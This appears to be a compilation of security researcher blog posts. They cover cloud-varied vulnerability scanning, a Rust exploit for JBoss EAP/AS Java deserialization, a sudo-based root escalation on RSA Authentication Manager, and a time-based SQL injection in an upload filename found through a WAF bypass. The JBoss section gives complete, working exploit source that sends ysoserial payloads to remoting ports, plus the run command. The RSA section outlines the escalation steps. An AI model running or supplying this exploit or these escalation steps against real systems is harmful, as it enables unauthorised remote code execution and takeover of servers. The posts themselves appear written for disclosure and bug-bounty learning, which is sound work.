A few years ago, 3 or 4, maybe 5, I was "working" with @marcioalm  in a "Simple Web Vulnerability Scanner" tool intended to be part of an automation vulnerability check for a large and specific environment.

Keep in mind that adventure was before the release of the well-acclaimed Nuclei, and Nuclei, since its first releases implemented better features than our tool. By the way,  the tool was/is named Stryker.

The idea behind the Stryker was quite simple,  read a JSON file, aka "Stryker module", build the request then parse the response.

Stryker modules are simple to write; for example, a simple check for the CVE-2017-9506.

As I said before, nowadays, Stryke is outdated, and for us, it was well replaced by Nuclei.

So, what is the relation between Stryker and Variant Cloud Analysis?

Back in those days, Stryker was getting good results against the organization we were testing. Then I had the idea to test against a well tested Bug Bounty program scope.

The Variant Cloud Analysis (VCA) term was coined (?) (probably there is another name for this same thing running for ages in the industry) when we started to observe different results when running Stryker against the same bug bounty program scope many times using different:

• Cloud providers
• Instances types
• Regions  

For transparency, almost tests were performed using Amazon AWS as the cloud provider.

The most exciting finding was testing for Apache Tomcat Manager Default Password on a public and well-tested Bug Bounty Program. We got one hit, which was 100% unexpected since I believe people constantly scan this kind of issue.

As expected, I did submit a report using the HackerOne platform.

Triage returned, saying it was unable to reproduce the report.

My fault. I did not provide all the information necessary. To reproduce the report, it was required to use an AWS instance type t2.xlarge in the us-east-1a region.

As a result, the report was closed, and the bounty was only used to pay for the AWS adventure bill. :)

The takeaway from this  short and hard to read blog post is when running your recon/scanning/automation, try tricks such as:

• Different Cloud Providers
• As many regions as possible
• Different Instance Types
• Automation is the key

There is no link to Stryker since it is pretty much dead. Use Nuclei instead.

Cya...

As stated by @joaomatosf this is an old but gold vulnerability found by himself and shared in two distinct security conference in Brazil, this vulnerability was part of a training he gave alongside with two other colleagues, check his tweet.

Technical details are available in the slides from the Alligator Conference 2019.

Back in time, I did use this vulnerability as a stimulus to write some Rust code, so forgive me any non-sense.

Cargo.toml

[package]
name = "j-is-d-boss"
version = "0.1.0"
authors = ["jespinhara"]
edition = "2018"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
clap = "~2.33.3"
hexdump = "0.1.0"

main.rs

extern crate clap;

use clap::{Arg, App};

use std::net::TcpStream;
use std::io::{Read, Write};
use std::fs::File;
use std::path::Path;
use std::str::from_utf8;
use std::process::exit;

// stackoverflow FTW
// https://stackoverflow.com/questions/54150353/how-to-find-and-replace-every-matching-slice-of-bytes-with-another-slice
// this will replace all the occurrences, but in this case, \xac\xed only happens once
fn replace_slice<T>(source: &mut [T], from: &[T], to: &[T])
    where
        T: Clone + PartialEq,
{
    let iteration = if source.starts_with(from) {
        source[..from.len()].clone_from_slice(to);
        from.len()
    } else {
        1
    };

    if source.len() > from.len() {
        replace_slice(&mut source[iteration..], from, to);
    }
}

fn prepare_payload(serial_file: &str) -> Vec<u8> {
    println!("[!] Loading and preparing the payload...");

    let in_the_past = b"\xac\xed\x00\x05";
    let magic_bytes = b"\x77\x01\x16\x79";

    let mut file_content = Vec::new();
    let mut file = File::open(&serial_file).expect("[-] Unable to open file");
    file.read_to_end(&mut file_content).expect("[-] Unable to read");

    replace_slice(&mut file_content, in_the_past, magic_bytes);

    file_content
}

fn send_gift(target: &str, port: &str, payload: Vec<u8>) {

    let mut target_address = target.to_string();
    let mut target_port = port.to_string();

    // target:port -> TcpStream
    target_address.push_str(":");
    target_address.push_str(&target_port);

    if let Ok(mut stream) = TcpStream::connect(target_address) {
        println!("[+] Connected to the server!");

        let handshake = b"\xac\xed\x00\x05";

        println!("[!] Sending handshake...");
        stream.write(handshake).unwrap();

        let mut data = [0 as u8; 4];
        match stream.read_exact(&mut data) {
            Ok(_) => {
                if &data == handshake {
                    println!("[+] Handshake Succeed!");
                    stream.write(payload.as_slice()).unwrap();
                    println!("[+] Exploiting... Done!");
                } else {
                    let res = from_utf8(&data).unwrap();
                    println!("[-] Unexpected response: {}", res);
                    println!("[-] Server response bytes: {:?}", res);
                }
            }
            Err(e) => {
                println!("[-] Failed to receive data: {}", e);
            }
        }
    } else {
        println!("[-] Couldn't connect to server...");
    }
}

fn main() {
    let matches = App::new("JBoss EAP/AS <= 6.X Vulnerability by @joaomatosf - A little bit beyond ACED")
        .version("1.0")
        .author("Exploit by: @jespinhara\n")
        .about("\nJBoss EAP/AS <= 6.X by default and  JBoss EAP/AS up to date if the targeted service is enabled.")
        .arg(Arg::with_name("target")
            .short("t")
            .long("target")
            .value_name("TARGET")
            .help("Target address")
            .takes_value(true)
            .required(true))
        .arg(Arg::with_name("port")
            .short("p")
            .long("port")
            .value_name("PORT")
            .help("Port (4446: JBoss Remoting Unified Invoker, 3873: EJB Remoting Connector)")
            .takes_value(true)
            .default_value("4446")
            .required(false))
        .arg(Arg::with_name("payload")
            .short("y")
            .long("payload")
            .value_name("PAYLOAD")
            .help("Ysoserial payload")
            .takes_value(true)
            .required(true))
        .get_matches();

    let target = matches.value_of("target").unwrap();
    let port = matches.value_of("port").unwrap();
    let payload = matches.value_of("payload").unwrap();

    if !Path::new(payload).exists() {
        println!("[-] Payload file not found! Exiting...");
        exit(0);
    }

    send_gift(target, port, prepare_payload(payload));

}

GitHub - jespinhara/j-is-the-boss

Contribute to jespinhara/j-is-the-boss development by creating an account on GitHub.

GitHubjespinhara

To use this exploit, create a malicious java payload using the well-known ysoserial, which I personally use @pimps modified version, then:

# ./j-is-d-boss -t [TARGET] -y [payload.ser] -p [PORT]

"Funny" enough, Marcio's python exploit has 20 lines and works like a charm. Keep it simple.

That's all cya folks!

Impact: the rsaadmin user can elevate privileges to root.

Version tested: RSA Authentication Manager 8.4.0.0.0-build1404796
Version tested: RSA Authentication Manager 8.4.0.10.0-build1411996 (which at the time was the current release)
Current version is the 8.5, which was NOT tested. (by me at least)

After gaining access to the server, and try to execute sudo commands will prompt the password, which we don't know since the initial access was exploiting the Weblogic vulnerability.

The highlighted output says the rsaadmin user can execute any *.sh and *.py files in the /opt/rsa/am/utils/bin/appliance/ directory using sudo without prompting the password.

The rsaadmin user has no permission to create a file in the /opt/rsa/am/utils/bin/appliance/ directory, also if the user tries to create a file using the sudo, the server will ask for the user's password, which it was unknown to me.

Listing the files in the /opt/rsa/am/utils/bin/appliance/ directory, we can see several shell script files and a few python script files. The file I was interested in was the oc_cmd.sh for an obvious reason *cmd.sh. :)

In a quick look, we can see that the oc_cmd.sh script can perform a few OS operations. To me, using the cp to copy a "malicious" bash script to the /opt/rsa/am/utils/bin/appliance/ directory was enough.

Create our the following bash script in the /tmp directory:

Finally, using the oc_cmd.sh script to copy the bash script from /tmp/xpl.sh to the /opt/rsa/am/utils/bin/appliance/ directory and then execute it.

Side note, oc_cmd.sh was the first and only file I checked, probably there are more ways to do the same assisted by the default installation misconfigurations.

RSA was contacted and replied with:

"Hello Joaquim,

After reviewing this issue we have determined that this is not a security defect and will be closing out this ticket. The RSA Authentication Manager system is designed as a single user appliance with the supported ability to elevate to root for maintenance and support purposes.  However, if you are aware of a new approach to successfully exploit CVE-2019-2725 against RSA Authentication Manager then please let us know and we can open a new case to investigate that issue.

We thank you for reporting this issue to us and look forward to working with you in the future on any potential vulnerabilities that you discover."

Not a bug! That's all cya folks!

Early this month I got invited to a private bug bounty program running on HackerOne and for obvious reasons I'll not name the company here. As soon I got invited to the program I asked some friends that were into this very same program before myself if they knew some "fishy" areas in the application that they were willing to share with me, well this is what friends are for. :)

Talking to https://twitter.com/reefbr he sent me a self-register page in a critical domain (in-scope). The registration went through without any problem and a few seconds after hit the send button I got an email with the access details.

With my self-registered user working good it was very quick to found a file upload feature within the application. File Uploads functions are straightforward so I tried to upload a random file to see if any security control was in place by the application. The limitations that I found were:

• PDF files accept only
• AV running on the backend server

After poking around the upload function, I realise that the application was only validating the file type extension, such as "filename.pdf". I did several tries to bypass this validation and I got success in some, but in the end I did not reach any execution in the server-side, time to change the strategy.

Back in the past, when doing my official daily duties as a Penetration Tester I came across a web application that was including the filename into the database, as far I remember that time I got a Blind (time-based) SQL Injection in the filename parameter. So, why not test in this application?

Burp Proxy set to intercept the HTTP requests, then I hit the Upload button in the application and replace the original filename parameter to:

Note: I tried to send the request without the .pdf extension but the application was rejecting. BTW, this is the same payload used by the Burp Scanner for active tests.

The application was running "behind" the Cloudflare WAF, so after some tries to confirm if the application was vulnerable all my requests were getting the "Access Denied" message. Now it's time to bring back https://twitter.com/reefbr, Manoel had reported a Cloudflare bypass to the same program and again... he told me about this. Using the bypass (configuration issue) found by @reefbr I did manage to confirm the SQL Injection (finally).

Talk is cheap show me the PoC. Initial request bellow:

Let's increase the sleeping time...

Going up a bit on the sleeping time:

Let's make sure that the triage team will understand and be able to reproduce, so +1 request...

That's all folks, hope you did enjoy.

As a final note, this private program is handling very sensitive information (PII) so extracting any data would create new issues to the program's owner. Having this in mind, I choose to proceed with the exploitation process by using the sleep payload and comparing the responses time to proof the vulnerability.

Timeline:

1. Report Sent
2. Report Triaged
3. Report Solved (bug fixed)
4. Bounty Paid